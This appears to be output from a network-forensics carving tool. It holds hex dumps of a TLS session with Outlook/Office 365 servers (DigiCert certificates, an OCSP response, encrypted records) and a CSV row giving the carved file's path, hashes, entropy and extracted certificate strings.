73 86 a5 a6 25 3c ae f1 cf d7 03 39 d1 42 e9 52 90 27 4b 6d af f3 41 fe f1 27 5f 1b c0 ec 3b dc 5c 30 36 87 94 28 1a 81 ff da a1 ba 0b 87 86 9f cf 9f 7b c9 74 fb 79 d8 70 c2 20 43 2b de dd 63 d1 d0 71 0a b1 75 8d a5 5e d1 de 17 1b 80 00 04 cc 30 82 04 c8 30 82 03 b0 a0 03 02 01 02 02 10 0c f5 bd 06 2b 56 02 f4 7a b8 50 2c 23 cc f0 66 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 61 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 19 30 17 06 03 55 04 0b 13 10 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 31 20 30 1e 06 03 55 04 03 13 17 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 52 6f 6f 74 20 47 32 30 1e 17 0d 32 31 30 33 33 30 30 30 30 30 30 30 5a 17 0d 33 31 30 33 32 39 32 33 35 39 35 39 5a 30 59 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 33 30 31 06 03 55 04 03 13 2a 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 47 32 20 54 4c 53 20 52 53 41 20 53 48 41 32 35 36 20 32 30 32 30 20 43 41 31 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 cc f7 10 62 4f a6 bb 63 6f ed 90 52 56 c5 6d 27 7b 7a 12 56 8a f1 f4 f9 d6 e7 e1 8f bd 95 ab f2 60 41 15 70 db 12 00 fa 27 0a b5 57 38 5b 7d b2 51 93 71 95 0e 6a 41 94 5b 35 1b fa 7b fa bb c5 be 24 30 fe 56 ef c4 f3 7d 97 e3 14 f5 14 4d cb a7 10 f2 16 ea ab 22 f0 31 22 11 61 69 90 26 ba 78 d9 97 1f e3 7d 66 ab 75 44 95 73 c8 ac ff ef 5d 0a 8a 59 43 e1 ac b2 3a 0f f3 48 fc d7 6b 37 c1 63 dc de 46 d6 db 45 fe 7d 23 fd 90 e8 51 07 1e 51 a3 5f ed 49 46 54 7f 2c 88 c5 f4 13 9c 97 15 3c 03 e8 a1 39 dc 69 0c 32 c1 af 16 57 4c 94 47 42 7c a2 c8 9c 7d e6 d4 4d 54 af 42 99 a8 c1 04 c2 77 9c d6 48 e4 ce 11 e0 2a 80 99 f0 43 70 cf 3f 76 6b d1 4c 49 ab 24 5e c2 0d 82 fd 46 a8 ab 6c 93 cc 62 52 42 75 92 f8 9a fa 5e 5e b2 b0 61 e5 1f 1f b9 7f 09 98 e8 3d fa 83 7f 47 69 a1 02 03 01 00 01 a3 82 01 82 30 82 01 7e 30 12 06 03 55 1d 13 01 01 ff 04 08 30 06 01 01 ff 02 01 00 30 1d 06 03 55 1d 0e 04 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1f 06 03 55 1d 23 04 18 30 16 80 14 4e 22 54 20 18 95 e6 e3 6e e6 0f fa fa b9 12 ed 06 17 8f 39 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 01 86 30 1d 06 03 55 1d 25 04 16 30 14 06 08 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 76 06 08 2b 06 01 05 05 07 01 01 04 6a 30 68 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 40 06 08 2b 06 01 05 05 07 30 02 86 34 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 74 30 42 06 03 55 1d 1f 04 3b 30 39 30 37 a0 35 a0 33 86 31 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 6c 30 3d 06 03 55 1d 20 04 36 30 34 30 0b 06 09 60 86 48 01 86 fd 6c 02 01 30 07 06 05 67 81 0c 01 01 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 08 06 06 67 81 0c 01 02 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 90 f1 70 cb 28 97 69 97 7c 74 fd c0 fa 26 7b 53 ab ad cd 65 fd ba 9c 06 9c 8a d7 5a 43 87 ed 4d 4c 56 5f ad c1 c5 b5 05 20 2e 59 d1 ff 4a f5 a0 2a d8 b0 95 ad c9 2e 4a 3b d7 a7 f6 6f 88 29 fc 30 3f 24 84 bb c3 b7 7b 93 07 2c af 87 6b 76 33 ed 00 55 52 b2 59 9e e4 b9 d0 f3 df e7 0f fe dd f8 c4 b9 10 72 81 09 04 5f cf 97 9e 2e 32 75 8e cf 9a 58 d2 57 31 7e 37 01 81 b2 66 6d 29 1a b1 66 09 6d d1 6e 90 f4 b9 fa 2f 01 14 c5 5c 56 64 01 d9 7d 87 a8 38 53 9f 8b 5d 46 6d 5c c6 27 84 81 d4 7e 8c 8c a3 9b 52 e7 c6 88 ec 37 7c 2a fb f0 55 5a 38 72 10 d8 00 13 cf 4c 73 db aa 37 35 a8 29 81 69 9c 76 bc de 18 7b 90 d4 ca cf ef 67 03 fd 04 5a 21 16 b1 ff ea 3f df dc 82 f5 eb f4 59 92 23 0d 24 2a 95 25 4c ca a1 91 e6 d4 b7 ac 87 74 b3 f1 6d a3 99 db f9 d5 bd 84 40 9f 07 98 16 00 01 db 01 00 01 d7 30 82 01 d3 0a 01 00 a0 82 01 cc 30 82 01 c8 06 09 2b 06 01 05 05 07 30 01 01 04 82 01 b9 30 82 01 b5 30 81 9e a2 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 18 0f 32 30 32 36 30 36 32 34 30 37 31 38 34 32 5a 30 73 30 71 30 49 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 a7 c4 b8 b3 dc 5b b5 58 1e a7 d7 f1 3a c5 69 f5 6f 48 d7 89 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 02 10 05 90 cb d3 65 66 7f 41 04 a9 a2 69 0c 5b 7c 73 80 00 18 0f 32 30 32 36 30 36 32 34 30 37 30 33 30 30 5a a0 11 18 0f 32 30 32 36 30 37 30 31 30 36 30 33 30 30 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 49 09 a6 24 53 25 38 bb a4 67 f3 42 bf 77 a4 16 4f c6 1c 9f 61 ae f5 89 2c 64 2f f1 0b 10 b5 e3 75 49 72 29 d1 16 78 36 b9 32 82 09 ae 46 86 46 13 23 d0 fb 2f bb 8a b7 9e da 23 d2 f9 e3 12 f1 98 51 4a 1e 57 f1 72 35 c7 3b 96 3f ee d2 62 02 59 92 a2 44 b1 71 f6 c6 38 2d 07 3f 6d 74 a2 46 e6 47 de 42 86 27 e0 df a0 1f 22 52 9f a7 c7 8a 9d 08 72 c3 95 77 8f d9 90 21 80 ad 38 b9 1a 06 d9 59 56 af d0 7d b5 f9 bb b4 40 f4 fe 95 90 42 ab f9 60 10 76 4d ad d4 4e a4 ed d3 85 ad d5 dc bd 94 0a 35 82 c5 47 b5 36 fd 3f e6 5b 82 95 e5 85 70 65 d9 f5 7a 81 fc de ab e1 fa 70 59 37 c6 3e c3 13 f5 bf 17 18 4e 83 e5 69 7c 05 4d 2c 8e 40 3a 45 b5 a3 bb 01 8a ba a4 43 7f ad 6a 90 50 e5 9d 94 d5 4d 99 fa c6 04 cd 19 08 08 87 c9 b2 2e bf 5e b4 e9 b7 8d f9 9e 9e ca cc 11 f8 9a b3 0c 00 01 69 03 00 18 61 04 c4 cd b4 05 f3 94 bb f7 1b f0 d7 c2 1d 92 d3 3c 1c bc 63 32 23 0e e6 84 25 f3 00 27 04 31 e8 8b 1a bb 84 ad 16 cb 97 44 d8 96 d6 7e f6 9e 1d 2d a8 a4 8f b3 e0 75 c5 5b 5c 3c 9a 46 c1 6b 27 de 46 a2 38 db 18 f9 f7 1b 58 c7 3e 75 11 a1 0e 75 b3 2d f0 af 5f 1c 02 c8 14 9d ea 22 8f ac 8a 40 08 04 01 00 5d 25 a6 63 53 08 e1 a4 11 64 45 f8 d3 91 9f 3e 60 ba c8 6d 6d 5f 24 52 c2 5b 6e e0 b8 61 60 3d 7a 39 dd d1 ac bb 27 93 2a a9 08 2e cb 03 96 c5 a4 03 8b bf 62 c2 ec d2 f1 63 de fa 83 7e d6 39 61 c5 59 60 06 31 06 be 83 d1 a8 77 1e 05 38 9f 4b a2 a3 20 a3 27 4b 24 0d 21 c9 7e cf d0 62 f5 48 3a 33 a5 ad 9a 84 22 c7 e5 a3 54 17 14 1d 1c ba b0 ab e7 a5 3d 7d 97 b6 e5 5f 5f 3f 34 79 ce 94 73 3f 85 f6 a5 fd 2d 8a ef f1 58 ee 07 32 28 f3 53 0f 8d 8a b1 21 d5 4d 48 00 92 35 49 06 fd ac c8 59 66 8e cc 0f f5 80 55 49 11 7f 72 ef 62 52 05 82 7b 29 6a 52 58 9c 97 4d 1f 4e 5f 8c 7c 70 40 53 b7 28 4d a4 d4 40 af c4 0d 43 15 21 96 09 29 a5 81 63 c9 77 04 12 3e b0 a4 cb f6 ca 04 ee 23 00 66 5a 45 fd c8 d6 f4 b3 67 af 4c 1b d5 cc c8 1f e7 7c 32 48 30 99 4e 88 93 d2 d4 dd 4e 0e 00 00 00 16 03 03 01 2e 04 00 01 2a 00 00 8c a0 01 24 00 00 00 00 9e ed 9f 92 c4 68 49 48 91 09 b6 ea cd 2b 6c cc 17 00 23 fd 64 a9 97 51 5d 6b 0a 48 53 2d d9 1c 6e 05 dc e2 e1 f5 9d 24 a4 89 c9 d7 2e 79 25 f7 69 81 66 69 60 74 3e 46 bc 66 72 96 8c e9 b9 3e 06 a2 b1 8a 06 02 44 38 b1 82 f6 f0 53 4b 22 bd 8c 28 5c c2 c7 b1 eb f5 86 28 28 ec 78 e1 89 64 8b ad 8a 1b d6 bb 7e 44 ba 8f 42 37 bd 23 de 98 17 15 e0 97 4e 54 77 c0 a6 25 63 35 fa eb 1e 4d 0e f6 f4 4c 8c 3c b9 b3 ab 32 9a 0d 5b a3 a9 6e 01 fb 53 ba 5d 05 28 e5 73 77 c4 c5 9c f8 b2 37 30 de 92 89 79 34 92 de 52 07 23 b0 bf 93 69 9e d4 21 a8 b4 48 ac 56 18 e3 d6 85 36 fa a1 33 1f 76 d9 1d f0 4c 28 8e f0 4b 27 bb 58 b0 12 e8 5e 01 57 49 6a a2 bb 38 66 b6 a3 c6 1e 32 0a 48 99 28 d0 dc 75 e9 3c 34 e6 6e 9f e7 36 e3 38 dd 2b 2d 03 5d 81 3d 79 be 71 28 9f 72 8d 60 95 a6 46 3d 82 2f 1f c1 16 17 1c 10 cc ff 8a 3b ec 1c ce c3 11 58 2f 8e 3a e6 21 fb 85 cb e6 29 fe c6 da 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 6a 97 7d 06 f8 e2 0f 31 01 a5 91 29 21 35 6c 18 0d bc d4 08 53 c1 3c 44 2b a0 14 58 9e 49 cd 98 17 03 03 00 40 00 00 00 00 00 00 00 01 08 6a 06 c4 c7 08 7d ca d8 1b 75 97 21 33 fd af 24 30 ed 48 b9 6b e7 51 0d b3 97 0e 41 fb bc b9 1e 1e 5a ea 59 f9 77 56 12 46 92 1e da 5c 80 aa 9e cf f1 6b 4b 0e ed 73 17 03 03 00 21 00 00 00 00 00 00 00 02 1f de 32 7d 4a 52 83 32 63 77 47 ba 3a 60 ca 37 e3 d7 79 ec c1 5a c1 40 75 17 03 03 02 ed 00 00 00 00 00 00 00 03 ab 41 a5 ae af d9 39 0e a3 6f 64 f7 0c b4 a2 07 90 e8 3d 8d b1 03 6f ae 78 81 b8 27 8d 53 f2 d4 0d 09 18 25 ad ed ed 2e 66 38 1b ea 3a e7 0b a3 bc e3 15 ed bf 61 be 47 d1 31 36 5c 68 3c b3 4d e0 d1 64 bd 25 3e 88 79 b3 83 95 8c 1b ad b8 c0 e0 5b c3 d0 56 7e 6f 3f 2d 0f 8e ec c2 d8 4b cc 82 28 b1 66 2c 9c 32 fa 24 fa 3a 02 1d 77 9e 0e 36 9a 3c 77 4e 92 0f ce ca 87 07 23 0a fb a7 3b 91 67 20 80 62 a8 0b 4d 07 10 ce a6 6c 3e dc 8d 9e 32 c4 27 0d e3 e2 74 bf 01 74 28 a8 3f 0a f1 f5 50 a6 56 a8 98 17 d2 df bc 55 30 13 b4 5d 92 f9 bf 5c 62 86 77 8a 5e 0a 46 f8 bb 6a 8d e4 b4 18 49 ff 00 9d 50 28 32 ad 97 b4 fd e2 ab 28 4a 2a 2f f5 1c 4e aa d2 d4 d9 2e 4f 8c d3 f0 82 fb 2a 4a a3 96 24 a8 22 85 67 b5 21 71 68 92 50 27 d1 4a a9 4c 72 b7 08 1e 4e ac 6a bb 21 57 38 83 95 44 de 73 ca 39 8c f9 8a 1a 18 ae f9 01 20 01 6a cb 8c 7d 70 20 9f c2 fd 0b 34 cd eb 2f ed f5 ae 4a ba bc 32 05 75 a9 85 bf cf e6 0a 11 01 ad bf d0 10 e8 33 77 0e 1a c0 0d 1a f7 6c 3a 8b e7 ff 2f 59 4a 88 89 20 50 4d bf 00 3b 4c c7 26 7d d2 16 8e 16 bd d9 95 b8 34 05 f2 e1 0f 0a ef aa 74 ad d3 75 2d cb 80 a4 62 a1 c8 bb 22 be ad 93 ba 29 18 18 f4 02 31 4d 82 f7 f9 5d ba a3 22 8f 11 5a 04 7c 18 2c bb 96 38 d7 e9 8e af 0a 49 1c b3 e4 26 47 7e 5d fe 16 d0 06 ed 93 8d 72 3d eb be fa 75 b9 b3 e2 cf f6 e8 e7 95 c5 39 8a 42 56 e5 da 11 b1 fa c9 ad e0 82 0c 79 5c ad 80 c0 a0 b2 81 d7 9e 69 0d e3 9d be 68 94 df 9e a1 1a e4 9b 7a 48 8f 98 73 d9 f1 ea c0 e1 ca 37 3b bb a9 5c ca 8e 69 4b d7 e3 c2 85 dc 73 aa 9a 4e b0 8d 57 c4 eb 83 98 79 81 c5 c0 52 40 f5 92 02 c8 23 45 dd 08 85 f7 57 12 31 cc ca 24 32 a2 24 3f b2 3b b7 9f 5f e5 30 7e 13 e8 ef 7e 8c 1b 2a 2d 52 9b 77 7b 8f 2a 04 b0 e7 a8 2d 66 c8 46 70 25 1c 0e 70 da 03 15 5f 78 e4 6c 18 e3 4a 85 d4 8b 88 1c 54 46 c5 34 4f 0b f0 21 24 35 a6 2b d1 61 fe ed 90 5f 5d 41 f2 6d 87 85 eb 85 78 b0 58 8e 62 80 93 34 7a 68 8e 03 96 df cf 6d e8 93 54 d6 6f da 6e 43 04 66 4b 89 ac f1 e6 c4 f9 55 77 d7 8a ae af 5f c1 2d df 76 91 19 2f 50 47 a0 b9 f1 e6 b6 8c 40 a4 2d 8f 77 59 d8 7c 89 ea 80 73 53 db a5 75 ee 33 78 54 26 5c cd 73 dc bb 58 fc 38 02 3f c3 78 19 ce f0 e6 c3 93 df fe 31 6a 4c c4 41 42 46 08 36 6d bc bf 7f 42 ea e6 99 4a c3 2c ed 4a 7d ae 79 fd 7c 14 9f f2 b6 3a a5 f3 aa 33 47 22 51 8f dd 8c 17 03 03 00 d2 00 00 00 00 00 00 00 04 ee 98 6f f1 49 08 ed 8a 8d 60 b2 a3 e9 a2 d3 c6 d8 9e 76 15 24 e8 97 bb e5 f0 7c e3 2d a5 b1 d7 72 ff fb d2 ac 41 54 25 74 cc a8 0a 3b 48 92 59 04 bd c5 07 fb 25 4e 34 50 54 a8 b7 3e af f7 c5 76 0a 69 2c 5c 87 ae 80 58 f8 cf 8e b0 57 52 8d 39 5f 01 ff 6b fd 20 c5 da 8d db 22 f4 6f 2c 9a cf 93 c7 98 36 fb 55 73 7a 71 1a 22 28 2e 18 ad 8c 86 fc ab 65 4c 73 bf 38 d4 09 48 87 89 1c b5 6d f8 6d 49 e6 b3 c4 97 a0 70 63 b0 0d 08 b8 4b fd 8f 6c a0 27 25 8c 2b 44 6d 4c 6f f5 09 85 c9 c5 19 48 5b 39 d1 95 87 da dd 7c 85 f3 8e 08 05 89 fb 9b 51 08 7c 4b 50 be 15 34 ab ef d1 91 d1 83 1b 74 a5 95 7f da 8a fd 9a 17 03 03 00 21 00 00 00 00 00 00 00 05 2a 62 ec 5d 42 3b c4 b8 8c 9f f4 40 44 7a d4 93 c1 22 ed 00 86 e5 e6 78 61 17 03 03 02 8e 00 00 00 00 00 00 00 06 b7 1d b4 5b 71 8d 5f 43 80 16 a8 ae d0 c8 80 cb 5f f7 63 8f d6 87 8d ca 2b f0 50 e5 0a ab ee d8 e3 cb 67 d7 37 ea 17 ce 7f 42 20 44 fe 16 62 57 0c 7d 45 2c fc 9e 25 4a f5 20 9e c0 54 af 28 01 92 a2 1c b4 c8 e5 b8 a6 bb 29 1c d7 4d 7c 1b 46 ca a4 d7 07 83 fe e2 51 05 5d a7 80 2e 00 7c c5 de ab 57 70 d7 f1 78 94 26 93 32 78 66 e7 88 75 48 23 5d 7f c9 b0 00 86 be 2e 52 fc 38 51 cb 99 56 89 22 19 92 32 34 5e 59 98 8c 55 5b ee f5 9e 17 cd c6 bd a9 dd ba bf af 37 e6 a4 fc 40 dc 79 7f ab fd ec 30 b5 e8 09 f3 e8 72 cf 03 12 fd 6e 30 cd c3 d9 61 90 88 02 bb 6d ca 13 50 fe 82 7e dc 3f f0 12 06 c5 da f8 ce 84 4b cd f8 b0 94 31 7d a6 ea 6e a8 bb 6b 0e 01 f8 35 9c 20 32 14 f5 b0 89 1f f3 64 99 36 dd a9 60 4c 31 58 e8 1b 38 ff 50 fe 72 ad 8c 9f 58 27 01 6d 45 16 58 3f de 93 5a 39 18 e9 f8 1d 45 9c 25 9b 2c 0d 19 cc 5d 06 10 1c 35 51 16 3e 9d 28 d5 7d c4 b6 8b 6f d1 dd 64 e6 63 c5 c4 9e ba 37 03 15 cf b6 6e 18 3b 78 68 8f 96 4c dc 00 e6 3d 5d d7 99 c2 6e 45 d9 02 1d 3f bf 3c ae 38 88 de 7b 6f a5 0c 5d 81 87 b0 58 fb d7 fc 32 16 51 fa 33 b1 7c 38 df 7b 24 2f 51 b9 13 1c 44 93 72 1e 30 4d 8c 3d 5c 8f 66 c2 2e 72 7d bf 54 7f dd aa 2a cc 7f 66 f8 50 30 8c 1a d1 e7 b7 c9 6e 25 f4 43 cc 85 63 a5 a4 d1 b3 79 5e 8d 30 d2 dd ec 1f a6 d2 eb 3d 49 93 9b 77 c7 4d 2d e0 76 2e 89 f0 d0 dc df 9e 84 7b e4 ae f9 fe 8f c1 e6 ca 9e e1 08 69 8c 67 29 14 05 9f ff b9 0f b8 7b 4b b3 d0 1e f2 d9 a3 9b 30 80 18 23 73 8f d4 5e c6 90 92 2c 14 1a 49 bf 4c ef 90 3e 8e 31 6e 7b d0 f5 98 2a f3 d1 50 04 ef 92 d0 f3 28 b0 aa 14 fb a0 7a cf 73 26 51 e8 6c a1 0f b0 8f b0 17 dd 3a e1 bf 56 7b 0a d9 d6 89 96 31 db ad 8f 30 b0 60 d3 18 44 34 81 a4 4e a8 e5 5f 1e 29 ea db 5c 08 b3 06 ae a5 6b b9 91 b4 d8 54 d7 e5 11 f2 b7 b5 b1 a4 d8 33 0d 5e ab f4 88 f6 7b ef 1a 97 2a 9e 1d c6 67 e1 84 05 98 9a b3 e5 ba 21 0f 57 ac 08 2a a0 dd 65 a3 7f 85 13 2d fc 5b 7b 02 f7 d8 32 69 13 ae 9a 6f 09 7f a8 74 4b e0 43 b3 36 49 a0 ce 28 1d db b0 21 6a 9d d4 34 d4 47 51 a0 a9 17 03 03 02 6f 00 00 00 00 00 00 00 07 51 04 48 40 55 f9 6c 66 de 6c 53 38 f3 fe f0 b5 cd b5 62 cc 0a 07 70 42 5e cd b2 55 77 d6 44 e1 c8 2e 4f 30 f4 08 dd 5f 50 8d 82 6c 28 71 77 31 bb a8 a9 2d 34 ed 9a fd 06 60 c1 05 fe 36 31 83 91 e0 9e 6d 58 3b 68 5f 34 5e 5b c9 5f 3e 36 52 ee 78 01 66 81 15 69 1b b6 bc 2d db 1d 5d 9a 3c 9f d3 92 10 02 c6 bd 0c b3 67 8b 7c 7c 28 75 54 4a 40 15 c0 d1 18 56 bd 8c d3 aa 2b 7b 53 da 38 c7 24 61 8e 51 51 06 03 24 b3 85 43 68 dc 2d 86 df 1b 29 ee de d3 d9 4c 59 b4 2e 0b 33 00 3d ad 94 05 7a 89 db 79 0d f6 06 64 3b 5f 2d d3 64 d3 02 eb 46 b7 87 69 da cd 43 74 58 ab f3 07 2e ab d1 54 03 f5 91 a3 6f 1c 8b 5c 9a 62 c4 44 57 48 55 0f b4 42 1f d1 58 8a a4 f0 7f 1a 8c 2a 09 c8 02 ce e6 24 e5 8e 17 65 d5 e0 3b ff 82 8f 8f 5b f6 c2 73 1d 32 a3 cb 27 40 a9 17 d4 82 13 44 b5 eb 54 14 4e 80 96 b7 cb 56 80 5c d6 78 3a 99 23 8b 13 09 d5 3e 42 08 af 33 cc a2 e0 0e ae 8c 98 ca 72 56 be ac 80 1d c0 a1 0b ac d9 e2 40 89 a1 1f 53 3e 67 41 7a 68 19 cb 16 e5 02 c9 0d 18 ed 4d 27 da 69 78 05 0f 4e a8 be 43 90 d2 51 fb f2 c2 a3 8e 62 dc a5 cf 5f d3 64 2f 16 50 6b 08 df 5f 5c bc d1 f0 eb 00 43 e4 c2 40 f5 8d 95 36 f6 41 2c fe 56 b4 b4 a1 84 3d 30 fb d4 e8 f1 e1 38 9c 33 45 d9 c7 0b 27 ee e1 af 6d 14 b2 af 6c 5f 6c 5b c0 6f c6 ef 41 f3 08 79 5b 77 11 96 fb 76 94 b3 87 84 09 1e ec a6 90 1d 5a ef 58 d3 79 30 f1 63 58 8a 53 b7 f5 75 94 11 b7 2d 48 42 e6 b5 11 db 52 4e fb 35 f7 0f 93 41 9e fa ae de aa b1 0a 6e 09 99 6a f9 46 13 43 d8 01 c4 36 09 82 53 fd dc 7c 80 3a 8f 45 2a 02 0a 90 4c cc 87 b8 74 c8 22 de 71 34 c5 44 d5 25 53 c4 0b 21 27 ab 11 96 95 4f 36 5b b7 4f c8 69 2a 37 79 2b fb ac e0 3f 21 9d cd 90 e6 aa 10 0b e3 1e 08 d2 69 c3 c5 7e d2 2b a6 52 ff ce 71 39 9d 83 ab f3 2c ff 3b d0 49 0e c8 51 15 12 30 31 cf 01 8f 0c bc 98 14 27 3c 91 fc e0 17 21 71 62 4f 44 11 8d 80 bd f3 c0 57 57 0b 7a f5 07 fd e1 7d 9c 5d a4 da 92 7e 37 1a a2 60 b0 78 0e\n2026-06-28T19:42:55.085699,10.152.152.11:63964->40.99.204.34:443,10.152.152.11,63964,40.99.204.34,443,HTTP,carved_10.152.152.11:63964-40.99.204.34:443_bwd_2.gzip,gzip,/tmp/tmp6925_lng/carved_files/carved_10.152.152.11:63964-40.99.204.34:443_bwd_2.gzip,6803,943145900c7faf15904a967474af804a,00b7349d7184f83612835f137c525a824126b5664cddefebdbce5478300ac61c,7.76,\"iuP6, outlook.com, .hotmail.com, .internal.outlook.com, .live.com, .office.com, .office365.com, .outlook.com, .outlook.office365.com, attachment.outlook.live.net, attachment.outlook.office.net,  attachment.outlook.officeppe.net, attachments.office.net, attachments-sdf.office.net, ccs.login.microsoftonline.com, hotmail.com, mail.services.live.com, office365.com, outlook.office.com, substrate.office.com, substrate-sdf.office.com0>, 70503, 0)0', http://www.digicert.com/CPS0, Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H, Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0, 0y0$, http://ocsp.digicert.com0Q, Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0,  yF)[Ro, DigiCert Inc1, www.digicert.com1 0, DigiCert Global Root G20, 210330000000Z, 310329235959Z0Y1, DigiCert Inc1301, DigiCert Global G2 TLS RSA SHA256 2020 CA10, bRBu, j0h0$, http://ocsp.digicert.com0, 4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B, 0907, 1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0, 6040, MLV_, UZ8r, 20260626071850Z0s0q0I0, 20260626070300Z, 20260703060300Z0, wn-0d, m)<z, doj3TB, Q38,,, $]S6E, nFGe, )<O:, NP$mKN, 0K4[a, G>W[Xq, _].fZc6), BQ(g, xP.e5, e0A,P, t8Z5, _3C., 8P6/p, >NF0[tqc, bPV5n\",1f 8b d4 55 7c 05 e1 cf 94 70 38 72 b7 65 9d 9d 6b 76 0a 6a 69 34 5e d1 ce 3e ac ed 7f 67 a5 dd 86 02 ec 55 f3 d3 39 9c 74 fa 02 ec 3a 96 8d fe e6 e4 69 75 50 36 a9 3b bc 8c c6 38 f1 da b4 b9 30 2b 89 32 30 a9 b2 38 84 28 60 9b d6 f1 31 ff 09 ca e0 ec 1d 93 61 1b c7 c9 e2 24 8f 79 b2 0c 61 fd ee 2d df 23 1f 4d 4f ac 40 1b 2a b2 d1 0f fe d7 49 e4 23 ed 16 e7 45 3b 76 4c c5 59 f4 0d 43 70 65 10 52 7f bf a6 aa 02 cf e8 dc 87 aa 24 cb e7 09 8c cc fa af 7c 54 7a 88 91 7c 16 15 8b b7 a9 f7 61 85 45 21 fa 88 bf 96 70 20 2c d6 ba 70 de 3e 16 7b 85 de 62 47 35 3f c1 a9 66 b6 55 f7 55 d3 1d d9 e4 04 34 f3 97 9f 41 05 f6 de 78 0b 32 00 f7 7e d3 5e ce 89 d6 0e c1 18 3a a4 bd 02 03 01 00 01 a3 82 05 25 30 82 05 21 30 1f 06 03 55 1d 23 04 18 30 16 80 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1d 06 03 55 1d 0e 04 16 04 14 76 45 e5 c3 cb 9c fe fa 5f fe 24 55 e8 bc 60 dd be aa 93 e1 30 82 01 bd 06 03 55 1d 11 04 82 01 b4 30 82 01 b0 82 0b 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0d 2a 2e 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 2a 2e 69 6e 74 65 72 6e 61 6c 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0a 2a 2e 6c 69 76 65 2e 63 6f 6d 82 0c 2a 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 0f 2a 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 0d 2a 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 17 2a 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 1b 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6c 69 76 65 2e 6e 65 74 82 1d 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 6e 65 74 82 20 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 70 70 65 2e 6e 65 74 82 16 61 74 74 61 63 68 6d 65 6e 74 73 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1a 61 74 74 61 63 68 6d 65 6e 74 73 2d 73 64 66 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1d 63 63 73 2e 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 82 0b 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 6d 61 69 6c 2e 73 65 72 76 69 63 65 73 2e 6c 69 76 65 2e 63 6f 6d 82 0d 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 12 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 14 73 75 62 73 74 72 61 74 65 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 18 73 75 62 73 74 72 61 74 65 2d 73 64 66 2e 6f 66 66 69 63 65 2e 63 6f 6d 30 3e 06 03 55 1d 20 04 37 30 35 30 33 06 06 67 81 0c 01 02 02 30 29 30 27 06 08 2b 06 01 05 05 07 02 01 16 1b 68 74 74 70 3a 2f 2f 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 43 50 53 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 05 a0 30 13 06 03 55 1d 25 04 0c 30 0a 06 08 2b 06 01 05 05 07 03 01 30 81 9f 06 03 55 1d 1f 04 81 97 30 81 94 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 34 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 